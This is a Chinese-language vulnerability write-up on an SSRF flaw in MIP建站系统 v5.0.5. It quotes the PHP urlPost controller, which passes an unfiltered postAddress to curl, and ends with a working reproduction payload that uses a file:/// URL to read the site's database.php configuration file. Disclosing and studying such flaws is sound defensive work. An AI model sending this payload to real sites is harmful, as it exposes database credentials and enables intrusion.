MIP建站系统 v5.0.5 SSRF漏洞¶
一、漏洞简介¶
二、漏洞影响¶
MIP建站系统 v5.0.5
三、复现过程¶
漏洞分析¶
进行简单的漏洞分析。根据漏洞定位代码文件:app/setting/controller/ApiAdminDomainSettings.php受影响代码:
public function urlPost(Request $request) {
$postAddress = input('post.postAddress');
if (!$postAddress) {
return jsonError('请先去设置推送的接口');
}
$api = trim($postAddress);
if (strpos($api,'type=realtime') !== false || strpos($api,'type=batch') !== false) {
if (!config('siteInfo')['guanfanghaoStatus']) {
return jsonError('检测到您未开启熊掌号,请开启后再推送');
}
}
$url = input('post.url');
$id = input('post.id');
if (!$url) {
return jsonError('没有检测到你推送的页面地址');
}
$urls[] = $url;
$ch = curl_init();
$options = array(
CURLOPT_URL => $api,
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POSTFIELDS => implode("\n", $urls),
CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
);
curl_setopt_array($ch, $options);
$result = curl_exec($ch);
流程分析:
1、$ postAddress = input('post.postAddress');
//POST方法将$postAddress参数传入
2、$api = trim($postAddress);
$options = array(
CURLOPT_URL => $api,
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POSTFIELDS => implode("\n", $urls),
CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
);
curl_setopt_array($ch, $options);
//赋予$api参数,一直至$ch,未进行任何过滤
3、$result = curl_exec($ch);
//最后执行
漏洞复现¶
第一步,登陆该后台:
第二步,访问所受影响的代码文件:
http://www.0-sec.org/index.php?s=/setting/ApiAdminDomainSettings/urlPost;
POST方法进行请求,payload:
postAddress=file:///C:\phpStudy\PHPTutorial\WWW\app\database.php&url=test&id=test